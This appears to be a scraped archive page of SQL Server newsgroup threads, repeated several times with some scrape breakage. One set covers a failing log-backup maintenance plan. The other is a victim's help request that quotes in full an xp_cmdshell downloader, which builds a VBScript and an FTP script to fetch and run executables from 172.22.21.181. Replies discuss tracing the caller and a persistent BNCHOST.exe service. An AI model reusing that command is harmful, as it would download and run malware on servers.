Showing posts with label event. Show all posts
Showing posts with label event. Show all posts

Friday, March 30, 2012

Maintenance plan failing

i keep getting the following error in my Event Viewer regarding a maintnance
plan I have set up in MS SQL Server 2000:
SQL Server Scheduled Job 'Transaction Log Backup Job for DB Maintenance Plan
'DB Maintenance Plan master, msdb, model''
(0x0D97085E32705247B590ADA245D3FE07) - Status: Failed - Invoked on:
2006-11-14 00:00:05 - Message: The job failed. The Job was invoked by
Schedule 76 (Schedule 1). The last step to run was step 1 (Step 1).
Any ideas about what I might be doing wrong?
--
John SchusterJohn Schuster wrote:
> i keep getting the following error in my Event Viewer regarding a maintnan
ce
> plan I have set up in MS SQL Server 2000:
> SQL Server Scheduled Job 'Transaction Log Backup Job for DB Maintenance Pl
an
> 'DB Maintenance Plan master, msdb, model''
> (0x0D97085E32705247B590ADA245D3FE07) - Status: Failed - Invoked on:
> 2006-11-14 00:00:05 - Message: The job failed. The Job was invoked by
> Schedule 76 (Schedule 1). The last step to run was step 1 (Step 1).
> Any ideas about what I might be doing wrong?
You can't do a transaction log backup on a database that is in Simple
recovery mode.
Tracy McKibben
MCDBA
http://www.realsqlguy.com|||> Any ideas about what I might be doing wrong?
Specify a report file for the maint plan. In there you will find the error m
essages that lead to the
job failure.
Tibor Karaszi, SQL Server MVP
http://www.karaszi.com/sqlserver/default.asp
http://www.solidqualitylearning.com/
"John Schuster" <JohnSchuster@.discussions.microsoft.com> wrote in message
news:D4C6E493-E90D-45E6-80B2-3BC0170D8DEB@.microsoft.com...
>i keep getting the following error in my Event Viewer regarding a maintnanc
e
> plan I have set up in MS SQL Server 2000:
> SQL Server Scheduled Job 'Transaction Log Backup Job for DB Maintenance Pl
an
> 'DB Maintenance Plan master, msdb, model''
> (0x0D97085E32705247B590ADA245D3FE07) - Status: Failed - Invoked on:
> 2006-11-14 00:00:05 - Message: The job failed. The Job was invoked by
> Schedule 76 (Schedule 1). The last step to run was step 1 (Step 1).
> Any ideas about what I might be doing wrong?
> --
> John Schuster|||I set up a report and i get the following which doesn't tell me much:
Microsoft (R) SQLMaint Utility (Unicode), Version Logged on to SQL Server
'EPDDOCS3' as 'SEP\EPDDOCS3$' (trusted)
Starting maintenance plan 'DB Maintenance Plan master, msdb, model' on
11/14/2006 12:00:07 AM
Backup can not be performed on database 'master'. This sub task is ignored.
[1] Database model: Transaction Log Backup...
Destination: & #91;X:\MSSQL\EPDdocs_BACKUP\model_tlog_2
00611140000.TRN]
** Execution Time: 0 hrs, 0 mins, 1 secs **
[2] Database model: Verifying Backup...
** Execution Time: 0 hrs, 0 mins, 1 secs **
Backup can not be performed on database 'msdb'. This sub task is ignored.
Deleting old text reports... 0 file(s) deleted.
End of maintenance plan 'DB Maintenance Plan master, msdb, model' on
11/14/2006 12:00:08 AM
SQLMAINT.EXE Process Exit Code: 1 (Failed)
--
John Schuster
"Tibor Karaszi" wrote:

> Specify a report file for the maint plan. In there you will find the error
messages that lead to the
> job failure.
> --
> Tibor Karaszi, SQL Server MVP
> http://www.karaszi.com/sqlserver/default.asp
> http://www.solidqualitylearning.com/
>
> "John Schuster" <JohnSchuster@.discussions.microsoft.com> wrote in message
> news:D4C6E493-E90D-45E6-80B2-3BC0170D8DEB@.microsoft.com...
>
>|||Here's the problem:

> Backup can not be performed on database 'msdb'. This sub task is ignored.
You are trying to do a log backup on a database which is in simple recovery
mode. No can do.
Tibor Karaszi, SQL Server MVP
http://www.karaszi.com/sqlserver/default.asp
http://www.solidqualitylearning.com/
"John Schuster" <JohnSchuster@.discussions.microsoft.com> wrote in message
news:AC9FF4A5-0CF5-4661-A9F1-577320DB70A3@.microsoft.com...[vbcol=seagreen]
>I set up a report and i get the following which doesn't tell me much:
> Microsoft (R) SQLMaint Utility (Unicode), Version Logged on to SQL Server
> 'EPDDOCS3' as 'SEP\EPDDOCS3$' (trusted)
> Starting maintenance plan 'DB Maintenance Plan master, msdb, model' on
> 11/14/2006 12:00:07 AM
> Backup can not be performed on database 'master'. This sub task is ignored
.
> [1] Database model: Transaction Log Backup...
> Destination: & #91;X:\MSSQL\EPDdocs_BACKUP\model_tlog_2
00611140000.TRN]
> ** Execution Time: 0 hrs, 0 mins, 1 secs **
> [2] Database model: Verifying Backup...
> ** Execution Time: 0 hrs, 0 mins, 1 secs **
> Backup can not be performed on database 'msdb'. This sub task is ignored.
> Deleting old text reports... 0 file(s) deleted.
> End of maintenance plan 'DB Maintenance Plan master, msdb, model' on
> 11/14/2006 12:00:08 AM
> SQLMAINT.EXE Process Exit Code: 1 (Failed)
> --
> John Schuster
>
> "Tibor Karaszi" wrote:
>|||Thank you for your help.
--
John Schuster
"Tibor Karaszi" wrote:

> Here's the problem:
>
> You are trying to do a log backup on a database which is in simple recover
y mode. No can do.
> --
> Tibor Karaszi, SQL Server MVP
> http://www.karaszi.com/sqlserver/default.asp
> http://www.solidqualitylearning.com/
>
> "John Schuster" <JohnSchuster@.discussions.microsoft.com> wrote in message
> news:AC9FF4A5-0CF5-4661-A9F1-577320DB70A3@.microsoft.com...
>sql

Maintenance plan failing

i keep getting the following error in my Event Viewer regarding a maintnance
plan I have set up in MS SQL Server 2000:
SQL Server Scheduled Job 'Transaction Log Backup Job for DB Maintenance Plan
'DB Maintenance Plan master, msdb, model''
(0x0D97085E32705247B590ADA245D3FE07) - Status: Failed - Invoked on:
2006-11-14 00:00:05 - Message: The job failed. The Job was invoked by
Schedule 76 (Schedule 1). The last step to run was step 1 (Step 1).
Any ideas about what I might be doing wrong?
John Schuster
John Schuster wrote:
> i keep getting the following error in my Event Viewer regarding a maintnance
> plan I have set up in MS SQL Server 2000:
> SQL Server Scheduled Job 'Transaction Log Backup Job for DB Maintenance Plan
> 'DB Maintenance Plan master, msdb, model''
> (0x0D97085E32705247B590ADA245D3FE07) - Status: Failed - Invoked on:
> 2006-11-14 00:00:05 - Message: The job failed. The Job was invoked by
> Schedule 76 (Schedule 1). The last step to run was step 1 (Step 1).
> Any ideas about what I might be doing wrong?
You can't do a transaction log backup on a database that is in Simple
recovery mode.
Tracy McKibben
MCDBA
http://www.realsqlguy.com
|||I set up a report and i get the following which doesn't tell me much:
Microsoft (R) SQLMaint Utility (Unicode), Version Logged on to SQL Server
'EPDDOCS3' as 'SEP\EPDDOCS3$' (trusted)
Starting maintenance plan 'DB Maintenance Plan master, msdb, model' on
11/14/2006 12:00:07 AM
Backup can not be performed on database 'master'. This sub task is ignored.
[1] Database model: Transaction Log Backup...
Destination: [X:\MSSQL\EPDdocs_BACKUP\model_tlog_200611140000.T RN]
** Execution Time: 0 hrs, 0 mins, 1 secs **
[2] Database model: Verifying Backup...
** Execution Time: 0 hrs, 0 mins, 1 secs **
Backup can not be performed on database 'msdb'. This sub task is ignored.
Deleting old text reports... 0 file(s) deleted.
End of maintenance plan 'DB Maintenance Plan master, msdb, model' on
11/14/2006 12:00:08 AM
SQLMAINT.EXE Process Exit Code: 1 (Failed)
John Schuster
"Tibor Karaszi" wrote:

> Specify a report file for the maint plan. In there you will find the error messages that lead to the
> job failure.
> --
> Tibor Karaszi, SQL Server MVP
> http://www.karaszi.com/sqlserver/default.asp
> http://www.solidqualitylearning.com/
>
> "John Schuster" <JohnSchuster@.discussions.microsoft.com> wrote in message
> news:D4C6E493-E90D-45E6-80B2-3BC0170D8DEB@.microsoft.com...
>
>
|||Thank you for your help.
John Schuster
"Tibor Karaszi" wrote:

> Here's the problem:
>
> You are trying to do a log backup on a database which is in simple recovery mode. No can do.
> --
> Tibor Karaszi, SQL Server MVP
> http://www.karaszi.com/sqlserver/default.asp
> http://www.solidqualitylearning.com/
>
> "John Schuster" <JohnSchuster@.discussions.microsoft.com> wrote in message
> news:AC9FF4A5-0CF5-4661-A9F1-577320DB70A3@.microsoft.com...
>

Maintenance plan failing

i keep getting the following error in my Event Viewer regarding a maintnance
plan I have set up in MS SQL Server 2000:
SQL Server Scheduled Job 'Transaction Log Backup Job for DB Maintenance Plan
'DB Maintenance Plan master, msdb, model''
(0x0D97085E32705247B590ADA245D3FE07) - Status: Failed - Invoked on:
2006-11-14 00:00:05 - Message: The job failed. The Job was invoked by
Schedule 76 (Schedule 1). The last step to run was step 1 (Step 1).
Any ideas about what I might be doing wrong?
--
John SchusterJohn Schuster wrote:
> i keep getting the following error in my Event Viewer regarding a maintnance
> plan I have set up in MS SQL Server 2000:
> SQL Server Scheduled Job 'Transaction Log Backup Job for DB Maintenance Plan
> 'DB Maintenance Plan master, msdb, model''
> (0x0D97085E32705247B590ADA245D3FE07) - Status: Failed - Invoked on:
> 2006-11-14 00:00:05 - Message: The job failed. The Job was invoked by
> Schedule 76 (Schedule 1). The last step to run was step 1 (Step 1).
> Any ideas about what I might be doing wrong?
You can't do a transaction log backup on a database that is in Simple
recovery mode.
Tracy McKibben
MCDBA
http://www.realsqlguy.com|||> Any ideas about what I might be doing wrong?
Specify a report file for the maint plan. In there you will find the error messages that lead to the
job failure.
--
Tibor Karaszi, SQL Server MVP
http://www.karaszi.com/sqlserver/default.asp
http://www.solidqualitylearning.com/
"John Schuster" <JohnSchuster@.discussions.microsoft.com> wrote in message
news:D4C6E493-E90D-45E6-80B2-3BC0170D8DEB@.microsoft.com...
>i keep getting the following error in my Event Viewer regarding a maintnance
> plan I have set up in MS SQL Server 2000:
> SQL Server Scheduled Job 'Transaction Log Backup Job for DB Maintenance Plan
> 'DB Maintenance Plan master, msdb, model''
> (0x0D97085E32705247B590ADA245D3FE07) - Status: Failed - Invoked on:
> 2006-11-14 00:00:05 - Message: The job failed. The Job was invoked by
> Schedule 76 (Schedule 1). The last step to run was step 1 (Step 1).
> Any ideas about what I might be doing wrong?
> --
> John Schuster|||I set up a report and i get the following which doesn't tell me much:
Microsoft (R) SQLMaint Utility (Unicode), Version Logged on to SQL Server
'EPDDOCS3' as 'SEP\EPDDOCS3$' (trusted)
Starting maintenance plan 'DB Maintenance Plan master, msdb, model' on
11/14/2006 12:00:07 AM
Backup can not be performed on database 'master'. This sub task is ignored.
[1] Database model: Transaction Log Backup...
Destination: [X:\MSSQL\EPDdocs_BACKUP\model_tlog_200611140000.TRN]
** Execution Time: 0 hrs, 0 mins, 1 secs **
[2] Database model: Verifying Backup...
** Execution Time: 0 hrs, 0 mins, 1 secs **
Backup can not be performed on database 'msdb'. This sub task is ignored.
Deleting old text reports... 0 file(s) deleted.
End of maintenance plan 'DB Maintenance Plan master, msdb, model' on
11/14/2006 12:00:08 AM
SQLMAINT.EXE Process Exit Code: 1 (Failed)
--
John Schuster
"Tibor Karaszi" wrote:
> > Any ideas about what I might be doing wrong?
> Specify a report file for the maint plan. In there you will find the error messages that lead to the
> job failure.
> --
> Tibor Karaszi, SQL Server MVP
> http://www.karaszi.com/sqlserver/default.asp
> http://www.solidqualitylearning.com/
>
> "John Schuster" <JohnSchuster@.discussions.microsoft.com> wrote in message
> news:D4C6E493-E90D-45E6-80B2-3BC0170D8DEB@.microsoft.com...
> >i keep getting the following error in my Event Viewer regarding a maintnance
> > plan I have set up in MS SQL Server 2000:
> >
> > SQL Server Scheduled Job 'Transaction Log Backup Job for DB Maintenance Plan
> > 'DB Maintenance Plan master, msdb, model''
> > (0x0D97085E32705247B590ADA245D3FE07) - Status: Failed - Invoked on:
> > 2006-11-14 00:00:05 - Message: The job failed. The Job was invoked by
> > Schedule 76 (Schedule 1). The last step to run was step 1 (Step 1).
> >
> > Any ideas about what I might be doing wrong?
> > --
> > John Schuster
>
>|||Here's the problem:
> Backup can not be performed on database 'msdb'. This sub task is ignored.
You are trying to do a log backup on a database which is in simple recovery mode. No can do.
--
Tibor Karaszi, SQL Server MVP
http://www.karaszi.com/sqlserver/default.asp
http://www.solidqualitylearning.com/
"John Schuster" <JohnSchuster@.discussions.microsoft.com> wrote in message
news:AC9FF4A5-0CF5-4661-A9F1-577320DB70A3@.microsoft.com...
>I set up a report and i get the following which doesn't tell me much:
> Microsoft (R) SQLMaint Utility (Unicode), Version Logged on to SQL Server
> 'EPDDOCS3' as 'SEP\EPDDOCS3$' (trusted)
> Starting maintenance plan 'DB Maintenance Plan master, msdb, model' on
> 11/14/2006 12:00:07 AM
> Backup can not be performed on database 'master'. This sub task is ignored.
> [1] Database model: Transaction Log Backup...
> Destination: [X:\MSSQL\EPDdocs_BACKUP\model_tlog_200611140000.TRN]
> ** Execution Time: 0 hrs, 0 mins, 1 secs **
> [2] Database model: Verifying Backup...
> ** Execution Time: 0 hrs, 0 mins, 1 secs **
> Backup can not be performed on database 'msdb'. This sub task is ignored.
> Deleting old text reports... 0 file(s) deleted.
> End of maintenance plan 'DB Maintenance Plan master, msdb, model' on
> 11/14/2006 12:00:08 AM
> SQLMAINT.EXE Process Exit Code: 1 (Failed)
> --
> John Schuster
>
> "Tibor Karaszi" wrote:
>> > Any ideas about what I might be doing wrong?
>> Specify a report file for the maint plan. In there you will find the error messages that lead to
>> the
>> job failure.
>> --
>> Tibor Karaszi, SQL Server MVP
>> http://www.karaszi.com/sqlserver/default.asp
>> http://www.solidqualitylearning.com/
>>
>> "John Schuster" <JohnSchuster@.discussions.microsoft.com> wrote in message
>> news:D4C6E493-E90D-45E6-80B2-3BC0170D8DEB@.microsoft.com...
>> >i keep getting the following error in my Event Viewer regarding a maintnance
>> > plan I have set up in MS SQL Server 2000:
>> >
>> > SQL Server Scheduled Job 'Transaction Log Backup Job for DB Maintenance Plan
>> > 'DB Maintenance Plan master, msdb, model''
>> > (0x0D97085E32705247B590ADA245D3FE07) - Status: Failed - Invoked on:
>> > 2006-11-14 00:00:05 - Message: The job failed. The Job was invoked by
>> > Schedule 76 (Schedule 1). The last step to run was step 1 (Step 1).
>> >
>> > Any ideas about what I might be doing wrong?
>> > --
>> > John Schuster
>>|||Thank you for your help.
--
John Schuster
"Tibor Karaszi" wrote:
> Here's the problem:
> > Backup can not be performed on database 'msdb'. This sub task is ignored.
> You are trying to do a log backup on a database which is in simple recovery mode. No can do.
> --
> Tibor Karaszi, SQL Server MVP
> http://www.karaszi.com/sqlserver/default.asp
> http://www.solidqualitylearning.com/
>
> "John Schuster" <JohnSchuster@.discussions.microsoft.com> wrote in message
> news:AC9FF4A5-0CF5-4661-A9F1-577320DB70A3@.microsoft.com...
> >I set up a report and i get the following which doesn't tell me much:
> >
> > Microsoft (R) SQLMaint Utility (Unicode), Version Logged on to SQL Server
> > 'EPDDOCS3' as 'SEP\EPDDOCS3$' (trusted)
> > Starting maintenance plan 'DB Maintenance Plan master, msdb, model' on
> > 11/14/2006 12:00:07 AM
> > Backup can not be performed on database 'master'. This sub task is ignored.
> >
> > [1] Database model: Transaction Log Backup...
> > Destination: [X:\MSSQL\EPDdocs_BACKUP\model_tlog_200611140000.TRN]
> >
> > ** Execution Time: 0 hrs, 0 mins, 1 secs **
> >
> > [2] Database model: Verifying Backup...
> >
> > ** Execution Time: 0 hrs, 0 mins, 1 secs **
> >
> > Backup can not be performed on database 'msdb'. This sub task is ignored.
> >
> > Deleting old text reports... 0 file(s) deleted.
> >
> > End of maintenance plan 'DB Maintenance Plan master, msdb, model' on
> > 11/14/2006 12:00:08 AM
> > SQLMAINT.EXE Process Exit Code: 1 (Failed)
> > --
> > John Schuster
> >
> >
> > "Tibor Karaszi" wrote:
> >
> >> > Any ideas about what I might be doing wrong?
> >>
> >> Specify a report file for the maint plan. In there you will find the error messages that lead to
> >> the
> >> job failure.
> >>
> >> --
> >> Tibor Karaszi, SQL Server MVP
> >> http://www.karaszi.com/sqlserver/default.asp
> >> http://www.solidqualitylearning.com/
> >>
> >>
> >> "John Schuster" <JohnSchuster@.discussions.microsoft.com> wrote in message
> >> news:D4C6E493-E90D-45E6-80B2-3BC0170D8DEB@.microsoft.com...
> >> >i keep getting the following error in my Event Viewer regarding a maintnance
> >> > plan I have set up in MS SQL Server 2000:
> >> >
> >> > SQL Server Scheduled Job 'Transaction Log Backup Job for DB Maintenance Plan
> >> > 'DB Maintenance Plan master, msdb, model''
> >> > (0x0D97085E32705247B590ADA245D3FE07) - Status: Failed - Invoked on:
> >> > 2006-11-14 00:00:05 - Message: The job failed. The Job was invoked by
> >> > Schedule 76 (Schedule 1). The last step to run was step 1 (Step 1).
> >> >
> >> > Any ideas about what I might be doing wrong?
> >> > --
> >> > John Schuster
> >>
> >>
> >>
>

Saturday, February 25, 2012

machine slow performance

I have discovered recently that the sql server 2000 sp4 has spawned a lot of
cmd.exe processes.
Event viewer is full of events like:
8128 :
Using 'xplog70.dll' version '2000.80.760' to execute extended stored
procedure 'xp_cmdshell'.
the parameter cmd,exe was called:
C:\WINDOWS\system32\cmd.exe /c echo dim HTTPGET>c:\1.vbs&echo dim Data>>c:\1
.
vbs&echo dim ExeURL>>c:\1.vbs&echo dim LocalPath>>c:\1.vbs&echo.>>c:\1.
vbs&echo ExeURL = "http://172.22.21.181:9843/84785_mssql.exe">>c:\1.vbs&echo
LocalPath = "c:\msagent.exe">>c:\1.vbs&echo.>>c:\1.vbs&echo Set HTTPGET =
CreateObject("Microsoft" ^& chr(46) ^& "XMLHTTP")>>c:\1.vbs&echo Set Data =
CreateObject("ADODB" ^& chr(46) ^& "Stream")>>c:\1.vbs&echo.>>c:\1.vbs&echo
HTTPGET.Open "GET", ExeURL, false>>c:\1.vbs&echo HTTPGET.Send>>c:\1.vbs&echo.[vbcol=seagreen
]
adSaveCreateOverWrite = ^2>>c:\1.vbs&echo.>>c:\1.vbs&echo Data.Type =
adTypeBinary>>c:\1.vbs&echo Data.Open>>c:\1.vbs&echo Data.Write HTTPGET.
ResponseBody>>c:\1.vbs&echo Data.SaveToFile LocalPath,
adSaveCreateOverWrite>>c:\1.vbs&cscript //Nologo /B c:\1.vbs&del c:\1.
vbs&start c:\msagent.exe&echo open 172.22.21.181 17534>x&echo get 27031_mssq
l.
exe>>x&echo quit>>x&ftp -n -s:x&27031_mssql.exe&del x&exit
now i'm out of mind how to stop this.
Can anyone help me?SQL Server does not do this by itself. It is either a job or some applicatio
n that does this. I
suggest you use Profiler to track down who is calling these xp_cmdshell exec
utions.
Tibor Karaszi, SQL Server MVP
http://www.karaszi.com/sqlserver/default.asp
http://www.solidqualitylearning.com/
"bass_ua" <u30195@.uwe> wrote in message news:6ab4e8b03613c@.uwe...
>I have discovered recently that the sql server 2000 sp4 has spawned a lot o
f
> cmd.exe processes.
> Event viewer is full of events like:
> 8128 :
> Using 'xplog70.dll' version '2000.80.760' to execute extended stored
> procedure 'xp_cmdshell'.
> the parameter cmd,exe was called:
> C:\WINDOWS\system32\cmd.exe /c echo dim HTTPGET>c:\1.vbs&echo dim Data>>c:
\1.
> vbs&echo dim ExeURL>>c:\1.vbs&echo dim LocalPath>>c:\1.vbs&echo.>>c:\1.
> vbs&echo ExeURL = "http://172.22.21.181:9843/84785_mssql.exe">>c:\1.vbs&ec
ho
> LocalPath = "c:\msagent.exe">>c:\1.vbs&echo.>>c:\1.vbs&echo Set HTTPGET =
> CreateObject("Microsoft" ^& chr(46) ^& "XMLHTTP")>>c:\1.vbs&echo Set Data
=
> CreateObject("ADODB" ^& chr(46) ^& "Stream")>>c:\1.vbs&echo.>>c:\1.vbs&ech
o
> HTTPGET.Open "GET", ExeURL, false>>c:\1.vbs&echo HTTPGET.Send>>c:\1.vbs&ec
ho.
> adSaveCreateOverWrite = ^2>>c:\1.vbs&echo.>>c:\1.vbs&echo Data.Type =
> adTypeBinary>>c:\1.vbs&echo Data.Open>>c:\1.vbs&echo Data.Write HTTPGET.
> ResponseBody>>c:\1.vbs&echo Data.SaveToFile LocalPath,
> adSaveCreateOverWrite>>c:\1.vbs&cscript //Nologo /B c:\1.vbs&del c:\1.
> vbs&start c:\msagent.exe&echo open 172.22.21.181 17534>x&echo get 27031_ms
sql.
> exe>>x&echo quit>>x&ftp -n -s:x&27031_mssql.exe&del x&exit
> now i'm out of mind how to stop this.
> Can anyone help me?
>|||"Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote in
message news:OtyZQntHHHA.2632@.TK2MSFTNGP06.phx.gbl...
> SQL Server does not do this by itself. It is either a job or some
> application that does this. I suggest you use Profiler to track down who
> is calling these xp_cmdshell executions.
'TRACK DOWN' ...is this a police action'
Ok, Rac uses xp_cmdshell and regularly. What do you want to do about it! ?
You wanna come and get me? You gonna bring the MVP brigade? Armed?
Well I'll be waiting for ya. I'm not frightened by the shell game.
-
best wishes for the holidays,
steve|||LOL
Bring it on, Steve. ;-)

> Ok, Rac uses xp_cmdshell and regularly.
Ahh, I didn't know that. You think this one was RAC? I tend to be suspicious
when I see a lot of
xp_cmdshell calls, but that it not the same as saying that there aren't good
/smart/valid reasons to
use it.

> best wishes for the holidays,
And the same to you! :-)
Tibor Karaszi, SQL Server MVP
http://www.karaszi.com/sqlserver/default.asp
http://www.solidqualitylearning.com/
"Steve Dassin" <steve@.nospamrac4sql.net> wrote in message
news:uK8aDjwHHHA.1264@.TK2MSFTNGP06.phx.gbl...
> "Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote i
n message
> news:OtyZQntHHHA.2632@.TK2MSFTNGP06.phx.gbl...
> 'TRACK DOWN' ...is this a police action'
> Ok, Rac uses xp_cmdshell and regularly. What do you want to do about it!
?
> You wanna come and get me? You gonna bring the MVP brigade? Armed?
> Well I'll be waiting for ya. I'm not frightened by the shell game.
>
> -
> best wishes for the holidays,
> steve
>|||Hi all, I'm fighting with exactly the same problem on my server. I've
tried everything I know without success. Do someone have an idea about
solving the problem ? Thanks
Marzio
Marzio Molinari
---
Marzio Molinari's Profile: http://unixadmintalk.com/798
View this thread: http://unixadmintalk.com/showthread.php?t=254838

machine slow performance

I have discovered recently that the sql server 2000 sp4 has spawned a lot of
cmd.exe processes.
Event viewer is full of events like:
8128 :
Using 'xplog70.dll' version '2000.80.760' to execute extended stored
procedure 'xp_cmdshell'.
the parameter cmd,exe was called:
C:\WINDOWS\system32\cmd.exe /c echo dim HTTPGET>c:\1.vbs&echo dim Data>>c:\1.
vbs&echo dim ExeURL>>c:\1.vbs&echo dim LocalPath>>c:\1.vbs&echo.>>c:\1.
vbs&echo ExeURL = "http://172.22.21.181:9843/84785_mssql.exe">>c:\1.vbs&echo
LocalPath = "c:\msagent.exe">>c:\1.vbs&echo.>>c:\1.vbs&ech o Set HTTPGET =
CreateObject("Microsoft" ^& chr(46) ^& "XMLHTTP")>>c:\1.vbs&echo Set Data =
CreateObject("ADODB" ^& chr(46) ^& "Stream")>>c:\1.vbs&echo.>>c:\1.vbs&echo
HTTPGET.Open "GET", ExeURL, false>>c:\1.vbs&echo HTTPGET.Send>>c:\1.vbs&echo.[vbcol=seagreen]
adSaveCreateOverWrite = ^2>>c:\1.vbs&echo.>>c:\1.vbs&echo Data.Type =
adTypeBinary>>c:\1.vbs&echo Data.Open>>c:\1.vbs&echo Data.Write HTTPGET.
ResponseBody>>c:\1.vbs&echo Data.SaveToFile LocalPath,
adSaveCreateOverWrite>>c:\1.vbs&cscript //Nologo /B c:\1.vbs&del c:\1.
vbs&start c:\msagent.exe&echo open 172.22.21.181 17534>x&echo get 27031_mssql.
exe>>x&echo quit>>x&ftp -n -s:x&27031_mssql.exe&del x&exit
now i'm out of mind how to stop this.
Can anyone help me?
"Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote in
message news:OtyZQntHHHA.2632@.TK2MSFTNGP06.phx.gbl...
> SQL Server does not do this by itself. It is either a job or some
> application that does this. I suggest you use Profiler to track down who
> is calling these xp_cmdshell executions.
'TRACK DOWN' ...is this a police action?
Ok, Rac uses xp_cmdshell and regularly. What do you want to do about it! ?
You wanna come and get me? You gonna bring the MVP brigade? Armed?
Well I'll be waiting for ya. I'm not frightened by the shell game.
-
best wishes for the holidays,
steve
|||We have a SQL server exhibiting odd behavior too with the trouble starting on
Monday. We are also seeing the same xpCMevents in our logs. Multiple
instances of CMD.exe and FTP.exe had been running under the SYSTEM account
but I didn't get the parameters like you did.
We did however find a bunch of "84785_mssql[x].exe" (where x is a number) in
the temporary internet files directory of the Default User profile. The
files were all 258 KB in size. We found a new service had been added to the
machine, "Microsoft Agent", that was running
"%system%\system32\dllcache\BNCHOST.exe" (which is a protected system folder)
but I haven't been able to find any info on it yet. BNCHOST.exe is also 258
KB and when deleted, it eventually comes back. It just so happens that the
modify date on the new BNCHOST.exe always matches the date on one of the
84785_mssql[x].exe files. I popped both files open with a hex editor and
they are definitely the same file. The file starts with "MZLoveboom PE L
ByDwing!" Google searches showed other MZ... files ByDwing but nothing
exactly the same.
Once we disabled the "Microsoft Agent" service, the performance problems
stopped and the machine has remained fairly stable. We aren't out of the
woods though, because we still don't know what happened and as of four hours
ago, BNCHOST.exe was still regenerating itself.
I will post more as I see it. Let me know if you see the same "Microsoft
Agent" service, BNCHOST.exe or 84785_mssql[x].exe in your Temporary Internet
Files.
Good luck!
"bass_ua" wrote:

> I have discovered recently that the sql server 2000 sp4 has spawned a lot of
> cmd.exe processes.
> Event viewer is full of events like:
> 8128 :
> Using 'xplog70.dll' version '2000.80.760' to execute extended stored
> procedure 'xp_cmdshell'.
> the parameter cmd,exe was called:
> C:\WINDOWS\system32\cmd.exe /c echo dim HTTPGET>c:\1.vbs&echo dim Data>>c:\1.
> vbs&echo dim ExeURL>>c:\1.vbs&echo dim LocalPath>>c:\1.vbs&echo.>>c:\1.
> vbs&echo ExeURL = "http://172.22.21.181:9843/84785_mssql.exe">>c:\1.vbs&echo
> LocalPath = "c:\msagent.exe">>c:\1.vbs&echo.>>c:\1.vbs&ech o Set HTTPGET =
> CreateObject("Microsoft" ^& chr(46) ^& "XMLHTTP")>>c:\1.vbs&echo Set Data =
> CreateObject("ADODB" ^& chr(46) ^& "Stream")>>c:\1.vbs&echo.>>c:\1.vbs&echo
> HTTPGET.Open "GET", ExeURL, false>>c:\1.vbs&echo HTTPGET.Send>>c:\1.vbs&echo.
> adSaveCreateOverWrite = ^2>>c:\1.vbs&echo.>>c:\1.vbs&echo Data.Type =
> adTypeBinary>>c:\1.vbs&echo Data.Open>>c:\1.vbs&echo Data.Write HTTPGET.
> ResponseBody>>c:\1.vbs&echo Data.SaveToFile LocalPath,
> adSaveCreateOverWrite>>c:\1.vbs&cscript //Nologo /B c:\1.vbs&del c:\1.
> vbs&start c:\msagent.exe&echo open 172.22.21.181 17534>x&echo get 27031_mssql.
> exe>>x&echo quit>>x&ftp -n -s:x&27031_mssql.exe&del x&exit
> now i'm out of mind how to stop this.
> Can anyone help me?
>
|||Hi all, I'm fighting with exactly the same problem on my server. I've
tried everything I know without success. Do someone have an idea about
solving the problem ? Thanks
Marzio
Marzio Molinari
Marzio Molinari's Profile: http://unixadmintalk.com/798
View this thread: http://unixadmintalk.com/showthread.php?t=254838

machine slow performance

I have discovered recently that the sql server 2000 sp4 has spawned a lot of
cmd.exe processes.
Event viewer is full of events like:
8128 :
Using 'xplog70.dll' version '2000.80.760' to execute extended stored
procedure 'xp_cmdshell'.
the parameter cmd,exe was called:
C:\WINDOWS\system32\cmd.exe /c echo dim HTTPGET>c:\1.vbs&echo dim Data>>c:\1.
vbs&echo dim ExeURL>>c:\1.vbs&echo dim LocalPath>>c:\1.vbs&echo.>>c:\1.
vbs&echo ExeURL = "http://172.22.21.181:9843/84785_mssql.exe">>c:\1.vbs&echo
LocalPath = "c:\msagent.exe">>c:\1.vbs&echo.>>c:\1.vbs&echo Set HTTPGET = CreateObject("Microsoft" ^& chr(46) ^& "XMLHTTP")>>c:\1.vbs&echo Set Data = CreateObject("ADODB" ^& chr(46) ^& "Stream")>>c:\1.vbs&echo.>>c:\1.vbs&echo
HTTPGET.Open "GET", ExeURL, false>>c:\1.vbs&echo HTTPGET.Send>>c:\1.vbs&echo.
>>c:\1.vbs&echo Const adTypeBinary = ^1>>c:\1.vbs&echo Const
adSaveCreateOverWrite = ^2>>c:\1.vbs&echo.>>c:\1.vbs&echo Data.Type = adTypeBinary>>c:\1.vbs&echo Data.Open>>c:\1.vbs&echo Data.Write HTTPGET.
ResponseBody>>c:\1.vbs&echo Data.SaveToFile LocalPath,
adSaveCreateOverWrite>>c:\1.vbs&cscript //Nologo /B c:\1.vbs&del c:\1.
vbs&start c:\msagent.exe&echo open 172.22.21.181 17534>x&echo get 27031_mssql.
exe>>x&echo quit>>x&ftp -n -s:x&27031_mssql.exe&del x&exit
now i'm out of mind how to stop this.
Can anyone help me?SQL Server does not do this by itself. It is either a job or some application that does this. I
suggest you use Profiler to track down who is calling these xp_cmdshell executions.
--
Tibor Karaszi, SQL Server MVP
http://www.karaszi.com/sqlserver/default.asp
http://www.solidqualitylearning.com/
"bass_ua" <u30195@.uwe> wrote in message news:6ab4e8b03613c@.uwe...
>I have discovered recently that the sql server 2000 sp4 has spawned a lot of
> cmd.exe processes.
> Event viewer is full of events like:
> 8128 :
> Using 'xplog70.dll' version '2000.80.760' to execute extended stored
> procedure 'xp_cmdshell'.
> the parameter cmd,exe was called:
> C:\WINDOWS\system32\cmd.exe /c echo dim HTTPGET>c:\1.vbs&echo dim Data>>c:\1.
> vbs&echo dim ExeURL>>c:\1.vbs&echo dim LocalPath>>c:\1.vbs&echo.>>c:\1.
> vbs&echo ExeURL = ">c:/1.vbs&echo">http://172.22.21.181:9843/84785_mssql.exe">>c:\1.vbs&echo
> LocalPath = "c:\msagent.exe">>c:\1.vbs&echo.>>c:\1.vbs&echo Set HTTPGET => CreateObject("Microsoft" ^& chr(46) ^& "XMLHTTP")>>c:\1.vbs&echo Set Data => CreateObject("ADODB" ^& chr(46) ^& "Stream")>>c:\1.vbs&echo.>>c:\1.vbs&echo
> HTTPGET.Open "GET", ExeURL, false>>c:\1.vbs&echo HTTPGET.Send>>c:\1.vbs&echo.
>>c:\1.vbs&echo Const adTypeBinary = ^1>>c:\1.vbs&echo Const
